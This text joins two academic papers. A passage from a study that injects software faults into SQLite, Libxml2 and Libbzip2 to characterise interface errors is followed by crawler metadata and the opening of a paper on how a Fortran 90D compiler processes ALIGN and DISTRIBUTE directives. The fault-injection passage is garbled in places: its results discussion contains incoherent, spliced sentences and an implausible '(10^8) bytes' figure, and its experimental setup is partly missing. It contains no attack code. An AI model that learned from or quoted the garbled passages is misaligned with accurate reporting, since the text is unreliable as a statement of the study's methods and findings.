- **Memory management.** A dynamically-allocated memory area can be mapped at different addresses in different executions. To enable the comparison of store operations performed on the same heap area, we rewrite memory addresses in the trace by replacing absolute addresses of heap memory areas with relative addresses within that area. Relative addresses are composed by a pair <area id, offset> (e.g., Figure 9); the offset represents the distance between the beginning of the heap area and the address being rewritten, and the area id is a number that uniquely identifies the allocation, which is computed from the code location where the area was allocated, the call stack at the time of allocation, and an incrementing integer. This allows to identify two identical stores (i.e., stores performed by the same instruction, on same heap area, and with the same value) even if the heap area is mapped at different addresses. In a similar way, the trace is rewritten to replace addresses belonging to global areas with relative addresses.
- **Thread scheduling.** The program execution flow and, therefore, the sequence of stores performed during the execution, can vary among executions due to thread scheduling. Recording and replay techniques can be adopted to mitigate this source of non-determinism [35,38]: the reference execution (i.e., the execution without faults) can be recorded, and then replayed while executing the faulty version of the target software. Since the current implementation of our DBI tool does not support deterministic recording and replay, in the experiments of this work we focus on single-threaded workloads, and plan to extend the analysis to multi-threaded workloads in future. Previous studies on recording and replay for DBI [35,38] (unfortunately not supported by the Valgrind framework at the time of writing) makes us confident that the approach is applicable to multi-thread software.
- **I/O operations.** Similarly to thread scheduling, the timing and the contents of I/O operations can affect the execution flow and the sequence of stores of a program. Non-determinism due to I/O timing can be avoided if the effects of thread scheduling are avoided, either by recording and replay or by focusing on single-threaded applications: In the case of the recording and replay, the deterministic thread scheduling makes the execution tolerant to variations in the timing of I/O operations; in the case of single-threaded applications, the execution is insensitive to I/O timing. Moreover, we avoid non-determinism of I/O contents by executing our target applications in a controlled experimental environment, in which the target is fed with the same I/O data (e.g., the same input files) at each execution.
- **Random number generators.** The use of (pseudo) random numbers in a program can lead to random values being written to memory and to variations of the execution flow. We avoid the effects of random numbers by wrapping random number generators, such as rand_r, and forcing them to return the same sequence of numbers at each execution.
**5. COMPONENT FAULT INJECTION**
To inject software faults in library code, we use the approach and the automated tool (SAFE) described in [10,30]. The tool injects a set of representative fault types (Table 1), which were defined on the basis of field data on real software faults found in deployed software systems, both commercial and open-source [7,13]. The SAFE tool injects these fault types by mutating the source code instead of the binary code, which assures a high degree of accuracy of fault injection experiments [9]. The tool automatically identifies code locations in which faults can be injected, and code changes for realistically emulating the fault types of Table 1. Each injected fault produces a distinct faulty version of the target library code (Figure 10), which replaces the original code.
APIs and interface data structures to be used by external errors injected by existing IEI tools (see Section 1). We analyzed the interface errors generated by bugs in three real-world software libraries (Table 2). These libraries are complex software projects on their own, and define a set of APIs and interface data structures to be used by external applications. **SQLite** (v3.7.16.2) is an SQL database engine that implements most of the SQL-92 language, provides advanced features such as ACID transactions, and has been adopted in many well-known proprietary and open-source projects [17]. **Libxml2** (v2.9.0) is a library for parsing and generating XML documents according to W3C standards; besides several popular open-source projects, we found that it is also adopted in a mission-critical middleware for configuring and deploying CORBA services in air traffic control systems [34]. **Libbzip2** (v1.0.6) implements a compression algorithm that is used in many systems for its ability to achieve high compression rates with good performance [36]. As workload of the experiments, we adopted tests and demo programs that are distributed with each library. These programs are linked to the target libraries and exercise its functions using pre-defined inputs. We injected faults in library code exercised by the workload. For **Libxml2**, the workload parses a set of XML files with several types of tags, and serializes XML files to the disk. Given the large size and complexity of these two projects (they are complete implementations of the SQL and XML languages), we focused experiments on the most important functionalities, covering respectively 32.0% and 19.0% of the code; we discarded experimental, secondary or deprecated functionalities. Experiments were executed on a Fedora Linux x86-64 PC.
### 6.6 Results
In our fault injection experiments, faults led to the following outcomes:
- **Crash**: the experiment is terminated by the OS due to an exception (e.g., due to an invalid memory access).
- **Hang**: the experiment is stalled, i.e., it does not terminate within a given amount of time (much larger than the duration of a fault-free execution).
- **Wrong**: the experiment produces an incorrect output, i.e., different from the output in fault-free conditions.
- **Pass, corrupted**: the experiment produces a correct output; interface errors occurred and were tolerated.
- **Pass, no corruption**: the experiment produces a correct output, and the fault did not cause interface errors.
Table 3 provides the distributions of failure types for each target library. In many cases, the output of experiments was correct even in the presence of an injected fault. By analyzing interface parameter data exchanged at component interfaces, we found that, in the 61.8% of experiments, there were neither incorrect outputs nor corruptions at component interfaces: in these experiments, the fault was not activated...
Table 3: Outcomes of experiments.
<table>
<thead>
<tr>
<th>Target</th>
<th>Crash</th>
<th>Hang</th>
<th>Wrong</th>
<th>Pass, corrupted</th>
<th>Pass, no corruption</th>
</tr>
</thead>
<tbody>
<tr>
<td>Libxml2</td>
<td>70</td>
<td>20</td>
<td>233</td>
<td>147</td>
<td>1001</td>
</tr>
<tr>
<td></td>
<td>(4.8%)</td>
<td>(1.4%)</td>
<td>(15.8%)</td>
<td>(10.0%)</td>
<td>(68.0%)</td>
</tr>
<tr>
<td>Libbzip2</td>
<td>6</td>
<td>0</td>
<td>39</td>
<td>83</td>
<td>335</td>
</tr>
<tr>
<td></td>
<td>(1.3%)</td>
<td>(0.0%)</td>
<td>(8.4%)</td>
<td>(17.9%)</td>
<td>(72.4%)</td>
</tr>
<tr>
<td>SQLite</td>
<td>122</td>
<td>16</td>
<td>182</td>
<td>213</td>
<td>490</td>
</tr>
<tr>
<td></td>
<td>(11.9%)</td>
<td>(1.6%)</td>
<td>(17.8%)</td>
<td>(20.8%)</td>
<td>(47.9%)</td>
</tr>
</tbody>
</table>
We first determined the extent of corruptions of interface parameters, in terms of number of bytes affected by faults. For the experiments that resulted in interface data corruption, Fig. 11 provides the empirical cumulative distribution of the number of corrupted bytes, for each target library. The number of corrupted bytes ranges from single (10^8) bytes to thousands of bytes for all three libraries and this number depends on the types of the data structures and library functions affected by the fault. An important result, which holds for all three targets, is that 50%-60% of faults affect much more than 8 bytes, which is the size of a memory word in our target system (i.e., the maximum size of addresses or data that CPU instructions operate on). Less than 40% of faults are limited to a memory word, while the median of the number of corrupted bytes ranges between 50 and 110 bytes. This is an important finding for the design of representative interface error models, since it indicates that the traditional ones based on the corruption of individual bits or bytes on heap, global, and stack areas [4,21], are not suitable for emulating interface errors produced by software faults. Fig. 12 provides the distribution of the number of corrupted bytes, split by ODC fault types (see Table 1). This figure shows that only the 20-30% of Algorithm, Checking, and Interface faults affect at most 10 bytes. Only in the case of Assignment faults (e.g., a missing variable initialization), about 50% of faults affect at most 10 bytes, as in these cases the incorrect assignment affects individual fields of data structures returned to the main program. Nevertheless, a significant share of Assignment faults still corrupt large memory areas.
The analysis of return values pointed out that several types of values can be returned by library invocations affected by software faults. We consider the return value of a faulty invocation as incorrect when it differs from the return value of the same invocation in the fault-free trace. Table 4 shows the distribution of incorrect return values, by classifying them into −1, 0 non-pointer data, NULL pointers, and wrong pointers/values, i.e., return values different from fault-free executions that do not fall into any of the other classes. Moreover, we further distinguish between the case in which both wrong return values and memory corruptions occur after the same invocation, and the case in which a wrong value is returned without the corruption of memory areas. The distributions of return values depend on the data type returned by library functions, which vary across different targets. Most importantly, we found that in most cases (75.2%) wrong return values are accompanied by memory corruptions. For instance, in the case of a library function that reads data from the disk and that behaves erroneously, both data returned through an input/output parameter (e.g., containing disk data) and the return value (e.g., representing the number of bytes read) become incorrect during the same invocation. This finding has significant implications for the injection of representative interface errors: existing tools that inject faults at library interfaces, such as FTS and LFI [15,27], focus on the injection of wrong return values, but neglect the injection of memory corruptions. To achieve representativeness, wrong return values should be injected along with memory corruptions.
Furthermore, by comparing the number of failures with error codes (Table 4) and the total number of experiments that lead to failures (Table 3), we found that wrong return values only occur for a fraction of cases (40.9% for Libxml2, 75.6% for Libbzip2, 22.5% for SQLite). This indicates that “plausibility” checks that operate solely on return values are insufficient for detecting library failures, as several failures occur despite correct return values from library functions.
As pointed out in the previous analysis of memory corruptions, the amount and location of corrupted data varies with the target library, and in particular with the type of
From Libxml2, we found that the percentage of our fault injection experiments that led to the corruption rate of each memory address by computing the number of accesses in fault-free conditions for free executions with the number of accesses on that memory address. We obtained the target libraries during fault-free executions, which can be easily obtained through a DBI analysis. We obtained the memory addresses most likely corrupted by software faults, which can be applied even when the association between elements is non-linear) and a statistical hypothesis test (with the null hypothesis that there is a zero correlation) [37], confirming this observation: We found that the corruption rate and the number of accesses have a statistically significant correlation (the null hypothesis can be rejected at any reasonable type I error level, as the p-value of the test is lower than the smallest representable float number on our machine). From this result, we conclude that a heuristic rule for obtaining a realistic error model is to corrupt those memory addresses that are most often accessed in fault-free executions.
7. THREATS TO VALIDITY
We identified the following threats to validity: (i) the effects of non-determinism, that can lead to variations of memory stores that are not actually due to faults, and thus could mislead our analysis of memory corruptions; (ii) the use of fault injection in components’ code, in place of real software faults, to generate and analyze interface errors; and (iii) the selection of the target libraries.
As for non-determinism, we carefully designed our approach to factor out its effects from execution traces, and validated its ability to avoid non-deterministic interferences by verifying that execution traces are exactly reproducible when no fault is injected. The limitation of our analysis is that, in this initial phase of our research, we chose to first focus on single-threaded executions, before extending our approach to multi-threaded executions using recording-and-replay techniques as discussed in Section 4.
The use of real faults for obtaining real interface errors is unfortunately hampered by the shortage of faults to analyze for specific library versions and configurations, especially in the case of very mature and highly reliable software such as SQLite. We therefore adopted fault injection, which allows to perform a high number of experiments and, at the same time, is able to generate representative errors, as demonstrated by several empirical studies on the use of code mutation for software engineering experimentation [1,11,12]. We are thus confident that the validity of our findings is not significantly affected by the use of fault injection.
Our conclusions are based on experimental results from three libraries, and may not generalize to all types of libraries. As the chosen libraries are widely used and functionally diverse, we believe that the results are representative for a larger set of libraries. Apart from whether a generalization is valid, we demonstrate that libraries with the discussed error manifestations exist and that existing error models do not match these manifestations. Moreover, we provide an approach that is suitable to assess any library of interest.
8. CONCLUSION
In this paper, we proposed an approach for analyzing how software faults in library code manifest as interface errors. We analyzed interface errors in three real-world libraries, obtaining guidelines for representative error injection experiments. In future work, we aim at applying these findings in IEI experiments, and investigating whether they can improve the representativeness of experiments.
Acknowledgments: Work supported by MIUR projects SVEVIA (PON02_00485_3487758) and TENACE (PRIN n.20103P34XC), and by TU-Darmstadt’s projects BMBF EC-SPRIDE and LOEWE-CASED.
9. REFERENCES
|
{"Source-Url": "http://www1.deeds.informatik.tu-darmstadt.de/External/PublicationData/1/issta-14.pdf", "len_cl100k_base": 10621, "olmocr-version": "0.1.50", "pdf-total-pages": 12, "total-fallback-pages": 0, "total-input-tokens": 41882, "total-output-tokens": 13708, "length": "2e13", "weborganizer": {"__label__adult": 0.0003380775451660156, "__label__art_design": 0.0003008842468261719, "__label__crime_law": 0.0003440380096435547, "__label__education_jobs": 0.0005130767822265625, "__label__entertainment": 6.55055046081543e-05, "__label__fashion_beauty": 0.00013244152069091797, "__label__finance_business": 0.00011277198791503906, "__label__food_dining": 0.00031304359436035156, "__label__games": 0.0006413459777832031, "__label__hardware": 0.0009474754333496094, "__label__health": 0.0004286766052246094, "__label__history": 0.000217437744140625, "__label__home_hobbies": 6.759166717529297e-05, "__label__industrial": 0.00028514862060546875, "__label__literature": 0.0002677440643310547, "__label__politics": 0.0002071857452392578, "__label__religion": 0.00041794776916503906, "__label__science_tech": 0.0192108154296875, "__label__social_life": 7.659196853637695e-05, "__label__software": 0.006298065185546875, "__label__software_dev": 0.96826171875, "__label__sports_fitness": 0.00023281574249267575, "__label__transportation": 0.0003898143768310547, "__label__travel": 0.0001697540283203125}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 56495, 0.03826]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 56495, 0.47771]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 56495, 0.89177]], "google_gemma-3-12b-it_contains_pii": [[0, 4401, false], [4401, 10922, null], [10922, 16771, null], [16771, 21455, null], [21455, 27127, null], [27127, 32976, null], [32976, 38532, null], [38532, 41470, null], [41470, 46228, null], [46228, 50089, null], [50089, 55571, null], [55571, 56495, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4401, true], [4401, 10922, null], [10922, 16771, null], [16771, 21455, null], [21455, 27127, null], [27127, 32976, null], [32976, 38532, null], [38532, 41470, null], [41470, 46228, null], [46228, 50089, null], [50089, 55571, null], [55571, 56495, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 56495, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 56495, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 56495, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 56495, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 56495, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 56495, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 56495, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 56495, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 56495, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 56495, null]], "pdf_page_numbers": [[0, 4401, 1], [4401, 10922, 2], [10922, 16771, 3], [16771, 21455, 4], [21455, 27127, 5], [27127, 32976, 6], [32976, 38532, 7], [38532, 41470, 8], [41470, 46228, 9], [46228, 50089, 10], [50089, 55571, 11], [55571, 56495, 12]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 56495, 0.02667]]}
|
olmocr_science_pdfs
|
2024-11-28
|
2024-11-28
|
0258a07f16c47ccfb2e72705fc8de7bdd89dbed7
|
Compiling distribution directives in a Fortran 90D compiler
Zeki Bozkus
*Syracuse University, Northeast Parallel Architectures Center, zbozkus@npac.syr.edu*
Alok Choudhary
*Syracuse University, Northeast Parallel Architectures Center*
Geoffrey C. Fox
*Syracuse University, Northeast Parallel Architectures Center*
Sanjay Ranka
*Syracuse University, Northeast Parallel Architectures Center, ranka@npac.syr.edu*
Recommended Citation
Bozkus, Zeki; Choudhary, Alok; Fox, Geoffrey C.; and Ranka, Sanjay, "Compiling distribution directives in a Fortran 90D compiler" (1992). *Northeast Parallel Architecture Center*. 94.
https://surface.syr.edu/npac/94
Compiling Distribution Directives in a Fortran 90D Compiler
Zeki Bozkus, Alok Choudhary, Geoffrey Fox, Tomasz Haupt, and Sanjay Ranka
Syracuse University
Northeast Parallel Architectures Center
4-116, Center for Science and Technology
Syracuse, NY, 13244-4100
{zbozkus, choudhar, gcf, haupt, ranka}@npac.syr.edu
SCCS-388
Abstract
Data Partitioning and mapping is one of the most important steps of in writing a parallel program; especially data parallel one. Recently, Fortran D, and subsequently, High Performance Fortran (HPF) have been proposed to allow users to specify data distributions and alignments for arrays in programs. This paper presents the design of a Fortran 90D compiler that takes a Fortran 90D program as input and produces a node program + message passing calls for distributed memory machines. Specifically, we present the design of the Data Partitioning Module that processes the alignment and distribution directives and illustrate what are the important design considerations. We show that our compiler produces portable, yet an efficient code. We also present the performance of the code produced by the compiler and compare it with the performance of the hand written code. We believe, this design can be used by implementors of the HPF compilers.
1 Introduction
Distributed memory multiprocessors are increasingly being used for providing high performance for scientific applications. Distributed memory machines offer significant advantages over their shared
*This work was supported in part by NSF under CCR-9110812 and DARPA under contract # DABT63-91-C-0028. The content of the information does not necessarily reflect the position or the policy of the Government and no official endorsement should be inferred.
memory counterparts in terms of cost and scalability, though it is a widely accepted that they are difficult to program given the current status of the software technology. One major reason for this difficulty is the absence of a single global address space at the architecture level. Currently, Distributed Memory Machines are programmed using a node language and a message passing library. This process is tedious and error prone because the user must perform the task of data distribution and communication for non-local data access.
This paper presents the design of a prototype compiler for Fortran 90D. The compiler takes as input a program written in Fortran 90D which is a data parallel language with extensions for specifying data alignments and distributions [1]. Its output is a node program plus calls to a message passing library. Therefore, the user can still program using a data parallel language but is relieved of the responsibility to perform data distribution and communications.
The system diagram of the Fortran 90D compiler is shown in Figure 1. Given a syntactically correct Fortran 90D program, the first step of compilation is to generate a parse tree. The partitioning module divides the program into tasks and allocates the tasks to processor elements (PEs) using the compiler directives — decomposition, alignment, and distribution. There are three ways to generate the directives: 1) users can insert them, 2) programming tools can help users to insert them, or 3) automatic compilers can generate them. In the first approach, users write programs with explicit distribution and alignment directives. A programming tool can generate useful analysis to help users decide partitioning styles, and measure performance to help users improve program partitioning interactively [2, 3, 4]. The directives can also be generated automatically by compilers. Promising work has been done along these lines [5, 6, 7, 8, 9].
The focus of this paper is to describe the design and implementation of the data partitioning module. We discuss how to distribute data and manage computations given the data distribution directives. Specifically, we show how the alignment and distribution directives can be systematically processed to produce an efficient code. Details of other modules can be found in [10, 11].
The rest of this paper is organized as follows. Section 2 briefly reviews Fortran 90D directives. Section 3 presents the overall design used in the data partitioning module (DPM). The design of DPM consists of three stages: preprocessing directives, data mapping and grid mapping. These stages are presented in Sections 4, 5, and 6 respectively. Section 7 summarize our early experience using the initial version of the compiler including a comparison of the performance with hand written parallel code. Section 8 presents a summary of related work. Finally, summary and conclusions are
2 Fortran D Data Distribution Directives
Fortran D is the first language to provide users with explicit control over data partitioning with data alignment and distribution specifications[1]. The distribution directives can be used with Fortran 77 or Fortran 90. In this paper we consider Fortran 90. Fortran D has three compiler directives.
- DECOMPOSITION
- DISTRIBUTE
- ALIGN
The DECOMPOSITION directive is used to declare the name, dimensionality, and the size of each problem domain. A decomposition is simply an abstract problem or index domain. We call it “template” (the name “template” has been chosen to describe “DECOMPOSITION” in HPF [12]). Arrays in a program are mapped to templates using the ALIGN directive. There may be multiple templates representing different problem mappings, but an array may be aligned only to one template at any point in time. All scalars are replicated. An array not explicitly aligned to any template serves as its own template. The DISTRIBUTE directive specifies the mapping of
the template onto a logical processor grid. Each dimension of the template is distributed in a block, cyclic or irregular manner; the symbol "*" marks dimensions that are not distributed (i.e. collapsed or replicated). The selected distribution can affect the ability of the compiler to minimize communication and load imbalance in the resulting program.
The following example illustrates the Fortran D directives. Consider the data partitioning schema for matrix-vector multiplication proposed by Fox et al.[13] and shown in Figure 2. The matrix vector multiplication can be described as
\[ y = Ax \]
where \( y \) and \( x \) are vectors of length \( M \), and \( A \) is an \( M \times M \) matrix. To create the distribution shown in the Figure 2, one can use the following directives in a Fortran 90D program.
\[
\text{C}\$\text{ DECOMPOSITION TEMPL(M,M)} \\
\text{C}\$\text{ ALIGN A(I,J) WITH TEMPL(I,J)} \\
\text{C}\$\text{ ALIGN X(J) WITH TEMPL(*,J)} \\
\text{C}\$\text{ ALIGN Y(I) WITH TEMPL(I,*)} \\
\text{C}\$\text{ DISTRIBUTE TEMPL(BLOCK,BLOCK)}
\]
If this program is mapped onto a 4x4 physical processor system, the Fortran 90D compiler will generate the distributions shown in Figure 2. Matrix A is distributed in both dimensions. Hence, a single processor owns a subset of matrix rows and columns. X is column-distributed and row-replicated. But Y is row-distributed and column-replicated.
### 3 Design Methodology
Fortran 90D compiler maps arrays to physical processors by using a three stage mapping as shown in Figure 3. This three stage mapping has also been proposed in HPF[12].
**Stage 1** : ALIGN directives are processed to compute functions that map array index domain to the template index domain and vice versa. Also, local shape of the arrays it determined.
**Stage 2** : Each dimension of the template is mapped onto the logical processor grid based on the distribution directives. Furthermore, mapping functions to generate relationship between global and local indices are computed.
Figure 2: **Matrix-vector decomposition**: each processor is assigned array section of A, X, and Y.

Figure 3: **Three stage array mapping**

Stage 3: Logical processor grid is mapped onto physical system. This mapping can change from one system to another but the data mapping onto logical processor grid does not need to change. This enhances portability across a large number of architectures.
By performing the above three stage mapping, the compiler is decoupled from the specifics of a given machine or configuration.
4 Compiling the ALIGN Directive (Stage 1)
Alignment of data arrays to templates is specified by the ALIGN directives. In this section, we describe how the ALIGN directive is processed in our compiler.
Each array is associated with a template. If an array is not explicitly associated with a template using an ALIGN directive, then it is assumed that it is associated with its own implicit template. In that case, the compiler can choose any distribution it determines is the most appropriate.
Alignment determines which portions of two or more arrays will be in the same processor for a particular data partitioning. Clearly, if arrays involved in the same computation are aligned in such a manner that after distribution their respective sections lie on the same processors then the number of non-local accesses would be reduced.
Alignment is a relation that specifies a one-to-one correspondence between elements of a pair of array objects. The template is defined by a DECOMPOSITION directive with its shape and ranks. Let $A$ be an $m$-dimensional array and $TEMPL$ be an $n$-dimensional template. The general form of alignment directive is
$$\text{C$ ALIGN A(i_1[*], \ldots, i_m[*]) \ WITH \ TEMPL(f_1(i_{a_1})[*], \ldots, f_n(i_{a_n})[*]).}$$
The exhibited elements of $A$ are aligned to those of $TEMPL$. The template is eventually distributed on a set of processors. The compiler guarantees that the array elements aligned to the same element of the template will be mapped to the same processor.
Fortran 90D compiler requires that each of $A$’s subscripts $i_1, \ldots, i_m$ appears exactly once on the right-hand side of the relation, so that a one-to-one correspondence with a section of $TEMPL$ is established. This restriction does not permit skew alignments such as aligning $A(I)$ with $TEMPL(I, I)$ or $A(I, J)$ with $TEMPL(I+ J)$. The order of axis in the array may be different than the order of axis in the template (not necessarily $i_k = i_{a_k}$). This permits transpose style alignments such as aligning $A(I, J)$ with $TEMPL(J, I)$.
**Algorithm 1 (Compiling Align directives)**
*Input:* Fortran 90D syntax tree with some alignment functions
*Output:* Fortran 90D syntax tree with identical alignment functions
*Method:* For each aligned array, and for each dimension of that array, carry out the following steps:
**Step 1.** Extend aligned arrays to match template size.
**Step 2.** Determine local shape of arrays.
**Step 3.** Apply alignment functions to the aligned arrays.
**Step 4.** Transform into canonical form.
**Step 5.** Compute $f^{-1}(i)$.
The symbol “*” shows the replication or collapse of the corresponding dimension. It may appear in both the array and the template subscripts. The array rank (the number of dimension) $m$ may be different than the rank of template, $n$. For example, the directive
```
C$ ALIGN A(i,*) WITH TEMPL(i + 1).
```
requests the second dimension of the array $A$ be collapsed, while the directive
```
C$ ALIGN A(i) WITH TEMPL(*,i + 1).
```
forces replication of array $A$ along the first dimension of the template $TEMPL$.
The *alignment function* $f_k$ is required to be a linear function $f_k = s_k \ast i_{a_k} + o_k$ or $f_k = o_k$. The parameters $i_{a_k}$, $s_k$, and $o_k$ correspond to the three components of the alignment function: *axis*, *stride*, and *offset*. Misalignment in the axis or stride components causes *irregular communication*, and misalignment in the offset component causes nearest-neighbor communication [5].
Algorithm 1 gives the steps in the algorithm used by our Fortran 90D compiler to process the align directives.
The following example illustrates the steps and all the transformations performed to transform array indices from the *array index domain* to *template index domain* and vice versa.
Consider the Fortran 90D code fragment shown in Figure 4. There are three arrays ODD(N/2), EVEN(N/2) and NUM(N). Elements of the array ODD are aligned with odd elements of TEMP. Similarly, elements of the array EVEN are aligned with the even elements of TEMPL. NUM is
1. PARAMETER(NPROC=10, N=100)
2. REAL NUM(N), ODD(N/2), EVEN(N/2)
3. C$ \text{DECOMPOSITION TEMPL(N)}$
4. C$ \text{DISTRIBUTE TEMPL(BLOCK)}$
5. C$ \text{ALIGN NUM(I) WITH TEMPL(I)}$
6. C$ \text{ALIGN ODD(I) WITH TEMPL(2*I-1)}$
7. C$ \text{ALIGN EVEN(I) WITH TEMPL(2*I)}$
8. FORALL(I = 1:N/2) NUM(I) = ODD((I+1)/2)
9. FORALL(I = 2:N/2) NUM(I) = EVEN(I/2)
10. LOC = MAXLOC(ODD)
Figure 4: Example 1: A Fortran 90D program fragment involving directives, forall’s and intrinsic function.
aligned identically with TEMPL. Hence, ODD and EVEN are aligned with odd and even indices of NUM respectively, because they are aligned to the same template.
Step 1. Extend aligned arrays to match template size. Note that we assume that the array size is equal to or smaller than the template size in the distributed dimension(s). If an array size is smaller than the template size in the distributed dimension, the compiler extends the array size to match the template size. For example, ODD and EVEN arrays are extended to size N to match the template TEMPL’s size, which is N.
Step 2. Determine local shape of arrays. In this step, the compiler determines the local shape and size of the distributed arrays based on the processor grid information associated with the corresponding template. In the above example, the template TEMPL is distributed on P processors. Hence, the compiler determines the size of the distributed dimension of arrays as ODD(\lceil N/P \rceil), EVEN(\lceil N/P \rceil) and NUM(\lceil N/P \rceil). Since our compiler produces Single Program Multiply Data (SPMD) code, array declaration is the same in every processor.
Step 3. Apply alignment functions to the aligned arrays. In this step, all indices of each occurrence of an array (all the statements) in the input program is transformed into the template index domain using the alignment function f(I). Arrays ODD, EVEN and NUM are associated with f_o(I) = 2 * I - 1, f_e(I) = 2 * I, f_n(I) = I functions respectively. Figure 5 illustrate this transformation on the array ODD. For example, the first forall assignment statement in Figure 4
Figure 5: Transforming array ODD of the example from array index domain to template index domain.
NUM(I)=ODD(((I+1)/2)
is transformed into
NUM(I)=ODD(2*(((I+1)/2)-1) (1)
by applying function $f_n(I) = I$ (identical function) and $f_o(I) = 2 \cdot I - 1$ to $lhs$ and $rhs$ respectively.
**Step 4. Transform into canonical form**. In this step, the compiler simplifies all functions applied in step 3 by performing symbolic manipulation and partial evaluation of constants. For example, the statement (1) becomes
NUM(I)=ODD(I).
The above simplification of indices helps compiler in choosing efficient collective communication routines. Our communication detection algorithm [14, 11] is based on symbolically comparing the $lhs$ and $rhs$ reference patterns and determining if the pattern is associated with one of the collective communication routines. In the above statement the compiler compares $lhs$ and $rhs$ indices and determines that no communication is required because both the array reference patterns are given
---
1 A canonical form is a syntactic form in which variables appear in a predefined order and constants are partially evaluated.
1. PARAMETER(NPROCI=10, N=100)
2. REAL NUM(10), ODD(10), EVEN(10) ! local shapes
3. call set_BOUND(lb, ub, st, 1, 100, 2) ! compute local lb, ub, st
4. DO I=lb, ub, st
5. NUM(I) = ODD(I) ! local computations
6. END DO
7. call set_BOUND(lb, ub, st, 2, 100, 2)
8. DO I=lb, ub, st
9. NUM(I) = EVEN(I) ! local computations
10. END DO
11. call set_DAD(ODD_DAD, ..., ) ! put information for ODD into ODD_DAD
12. LOC=MAXLOC(ODD, ODD_DAD) ! MAXLOC is implemented on f77+MP
Figure 6: The compiler generated Fortran 77+MP code.
by $I$ and aligned to the same template. However, if $rhs$ was ODD($I+2$), it will recognize it as a shift communication.
**Step 5.** Compute $f^{-1}(i)$. For each array, we compute the inverse alignment function $f^{-1}(i)$ corresponding to each $f(i)$. $f^{-1}(i)$ is stored in Distributed Array Descriptor (DAD) [15]. This function is needed when any computation needs to be performed using the original index of an array. For example, the last statement in Figure 4 calls the intrinsic function MAXLOC to find the location of the maximum element in the array ODD. This function must be evaluated using the original array indices. The inverse function for array ODD is $f^{-1}(i) = \frac{i+1}{2}$. MAXLOC will return the location of maximum value in the original *array index domain* by applying $f^{-1}$ function.
Figure 6 shows the compiler generated Fortran 77+MP code for the Fortran 90D code given in Figure 4.
We emphasize that the above transformation from the *array index domain* to the *template index domain* has two advantages.
1-) This allows us to easily detect regular collective communication patterns among arrays aligned to the same template.
2-) We need to keep data distribution functions only for the template and not for all the arrays aligned to the template.
5 Data Distribution (Stage 2)
In this section, we describe how the Fortran 90D compiler distributes the template on the logical processor grid (Figure 3). In this phase, the compiler uses information provided by the DISTRIBUTE directives.
The DISTRIBUTE directives assigns an attribute to each dimension of the template. Each attribute describes the mapping of the data in that dimension of the template on the logical processor grid. Attributes in each dimension are independent, and may specify regular or irregular distributions. For example the following directive
```fortran
C$ DISTRIBUTETEMPL(BLOCK, CYCLIC)
```
distributes the template TEMPL blockwise in the first dimension and cyclicly in the second dimension.
The first version of the compiler supports the following types of distribution.
- **BLOCK** divides the template into contiguous chunks.
- **CYCLIC** specifies a round-robin division of the template.
- **IRREGULAR** specifies to the compiler that the needed data distribution functions are provided by the user.
5.1 Distribution functions
A Fortran 90D program is written in the global name space. Therefore, the arrays and template indices refer to indices in the global name space. Parallelizing the program onto a distributed memory machine requires mapping a global index onto the pair: processor number and local index because on a Distributed Memory Machine, each node has a separate name space. For the above index transformations, we define data-distribution functions (index-conversion functions) as given in Definition 1 below.
**Definition 1**: A data-distribution function for each dimension of template \( \mu \) maps three integers, \( \mu(I, P, N) \rightarrow (p, i) \), where \( I \) is the global index, \( 0 \leq I < N \), \( P \) is the number of processors, and \( N \) is the size of global index. The pair \((p, i)\) represents the processor \( p \), \( 0 \leq p < P \) and \( i \) is the local index of \( p \) \( (0 \leq i < \mu^#(p, P, N)) \). \( \mu^#(p, P, N) \) gives the cardinality (the number of global...
indices in processor \( p \)). The inverse distribution function \( \mu^{-1}(p, i, P, N) \to I \) transforms the local index \( i \) in processor \( p \) back into global index \( I \).
The term *global index* will be used to refer to the index of a data item within the global array (global name space) while the term *local index* will denote the index of a data item within a logical processor.
The choice of these distribution functions is one of the most important design choices. We use the following criteria:
- calculation of these function at run-time must be efficient, and
- distribution functions should yield a good static load balance.
The **BLOCK** attribute indicates that blocks of global indices are mapped to the same processor. The block size depends on the size of the template dimension, \( N \), and the number of processors, \( P \), on which that dimension is distributed. Our Fortran 90D compiler provides two different block attributes, **BLOCK1** and **BLOCK2**.
The **BLOCK1** attribute assumes that \( N \) is divisible by \( P \). This results in a very simple and efficient distribution function as shown in the first column of Table 1. Each processor has \( N/P \) global indices which provides on optimum load balance. If \( N \) is not divisible by \( P \), the compiler extends \( N \) such that \( N \) becomes divisible by \( P \). This may cause a load imbalance because the tail processors may have less number of array items than do the beginning processors.
The **BLOCK2** attribute is used to distribute block of \( N \) global indices on \( P \) processor as evenly as possible. This distribution function is shown in the second column of Table 1. The first \( N \ mod \ P \) processors receive \( \lfloor N/P \rfloor \) elements; the rest get \( \lceil N/P \rceil \) elements. Therefore, the difference between the number of elements assigned to any two processors will be at most one in each dimension. Table 2 shows the distribution of global index for different data sizes on three processors. This distribution functions yields an optimal static load balance. This type of block distribution has been used in the implementation of TOOLBOX [16].
The **CYCLIC** attribute indicates that global indices of the template in the specified dimension should be assigned to the logical processors in a round-robin fashion. The last column of Table 1 shows the CYCLIC distribution functions. This also yields an optimal static load balance since first \( N \ mod \ P \) processors get \( \lfloor N/P \rfloor \) elements; the rest get \( \lceil N/P \rceil \) elements. In addition, these distribution functions are efficient and simple to compute. Although cyclic distribution functions provided a
